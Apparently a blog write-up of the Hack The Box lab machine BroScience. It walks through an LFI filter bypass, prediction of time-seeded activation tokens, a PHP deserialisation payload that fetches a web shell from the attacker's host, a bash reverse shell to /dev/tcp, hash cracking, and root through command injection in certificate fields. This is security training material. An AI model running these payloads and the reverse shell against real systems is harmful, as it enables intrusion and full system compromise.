Home (HTB) - BroScience
Post
Cancel
image alternative text

(HTB) - BroScience

BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site’s theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH password for the machine’s main user bill. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl, forfeiting root access to the attacker.

Enumeration

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for 10.129.126.184
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|_  256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
80/tcp  open  http     Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: BroScience : Home
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are ports 22, 80 and 443 open. Let’s first check the application and mind the redirect!

Webserver

First we need to add broscience.htb into /etc/hosts

picture 1

I’ll be running all requests through Burp!

On the first site, we can notice:

  • login
  • usernames

This pops right away, if we click a little bit around we’d find following path in Burp’s sitemap img.php which accepts path= parameter.

Initial Foothold

Finding Local File Inclusion (LFI)

Now if you’re thinking LFI, you’re probably right (or not?). If we enter ../ we’d get Attack detected. back so there is some kind of blacklist. If we encode once, we’d get blocked BUT if we encode ../ twice = %252e%252e%252f we’d bypass the filter.

picture 2

There is another filter on /etc/passwd but we can bypass that to!

Request: /includes/img.php?path=c%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/test/%252e%252e%252f/passwd

picture 3

We can read PHP files.

picture 4

If we check /var/www/html/includes/img.php we’ll see that file will get piped into file_get_contents (not like in exec or similar function which parses and executes the PHP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing \'path\' parameter.');
}

// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

We can also find credentials for Postgre database using following request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/includes/img.php?path=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fvar/www/html/includes/db_connect.php
############################
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

Unfortunately password does not work anywhere so we have to search further.

We can read activate.php to see if we can somehow be able to guess/calculate activation code, which we need while signup

picture 5

includes/utils.php get’s included in register.php.

Token is not implemented in safely manner.

1
2
3
4
5
6
7
8
9
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

We can see that it calles seed srand(time()) and time() is something that we can calculate, since response returns the time.

1
2
3
# This oneliner takes date from response and sends requests using system time for translated time - 10 seconds = 10 requests.

php -f activation.php `php -r "echo strtotime('11 Jan 2023 07:43:42 GMT');"` | xargs -n1 -I{} -P1 bash -c "curl --proxy http://127.0.0.1:8080 -k https://broscience.htb/activate.php?code={} --silent | grep activated"

This is the script that i’ve used. First i used strtotime using date that was returned in response when account was created register.php. Then i echoed time() with that value for the last 10 seconds and piped it into xargs. I could’ve used Burps intruder instead

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function generate_activation_code($gen_time) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($gen_time);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

if (isset($argv[1])) {
        $gen_time = $argv[1];
        #echo "Using time from Arguments: ".$gen_time."\n";
}else {
        $gen_time = time();
        #echo "Using current time: ".$gen_time."\n";
}

for ($x = 0; $x <= 10; $x++) {
        echo generate_activation_code($gen_time-$x);
        echo "\n";

} 
?>

Activation was succesful!

picture 6

We can log in, but we only have only more option really, so let’s take a look into the code base (remember, we still use LFI to read the code!).

picture 7

If we check burp, we’d see GET request to swap-theme.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();

// Check if user is logged in already
if (!isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
    set_theme("dark");
} else {
    set_theme("light");
}

// Redirect
if (!empty($_SERVER['HTTP_REFERER'])) {
    header("Location: {$_SERVER['HTTP_REFERER']}");
} else {
    header("Location: /index.php");
}

Code above calls includes/utils.php and its functions get_theme() and set_theme(). If we follow up on those functions, we’ll notice that cookie user-prefs is getting serialized. We could’ve noticed that if we’d check the value in the cookie user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NDoiZGFyayI7fQ%3D%3D ==> user-prefs=O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}

Below the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
...
class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

Codebase above is vulnerable to PHP deserialization / PHP Object exploitation. I suggest following article and IppSec’s video

If we reach initialize Avatar, we can write files through file_get_contents.

This is code that i’ve used to serialize payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
        $this->theme = new AvatarInterface();
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "http://10.10.16.91/cmd.php";
    public $imgPath = "cmd.php";

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$obj = new UserPrefs();

echo "Serialized payload: ".serialize($obj);
echo "\n";
echo "Serialized payload and base64 encoded: ".base64_encode(serialize($obj));
echo "\n";
?>

After being logged in we can simply change user-prefs with payload that was generated.

picture 9

If everything has been done right, our cmd.php should have been uploaded!

Looks good:

picture 10

I used following TCP reverse shell for bash, i’ve just fully URL encoded:

1
bash -c "bash -i >& /dev/tcp/10.10.16.91/4444 0>&1"

Shell should pop:

picture 11

Privilege escalation to bill from www-data

1
psql -h 127.0.0.1 -U dbuser -d broscience -W -c "select * from users;"

picture 12

We can decode Bill’s password, just remember to add Salt!

1
2
3
4
5
6
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym    
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: 13edad4932da9dbb57d9cd15b66ed104:NaCl

We can login via SSH as bill.

Privilege Escalation to root

I’ve ran linpeas as usual for quick wins and any out-of-ordinary findings and it showed:

1
2
3
4
5
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x  2 root root 4096 Jul 14 16:06 .
drwxr-xr-x 19 root root 4096 Jan  2 04:50 ..
-rwxr-xr-x  1 root root 1806 Jul 14 16:05 renew_cert.sh  

When running pspy64 we can see that script is being called by root. (pspy64 -r /tmp -r /opt -r /home -pf -i 1000)

picture 13

This is /opt/renew.sh that’s being ran.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

The problem above is that we can run subcommands if we insert them into certificate subject values:

1
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1

picture 16

We can check if our calues have been inserted into the certificate

1
openssl x509 -in broscience.crt -noout -text

picture 15

Shell should pop in the next 2 minutes as root!

picture 14

This post is licensed under CC BY 4.0 by the author.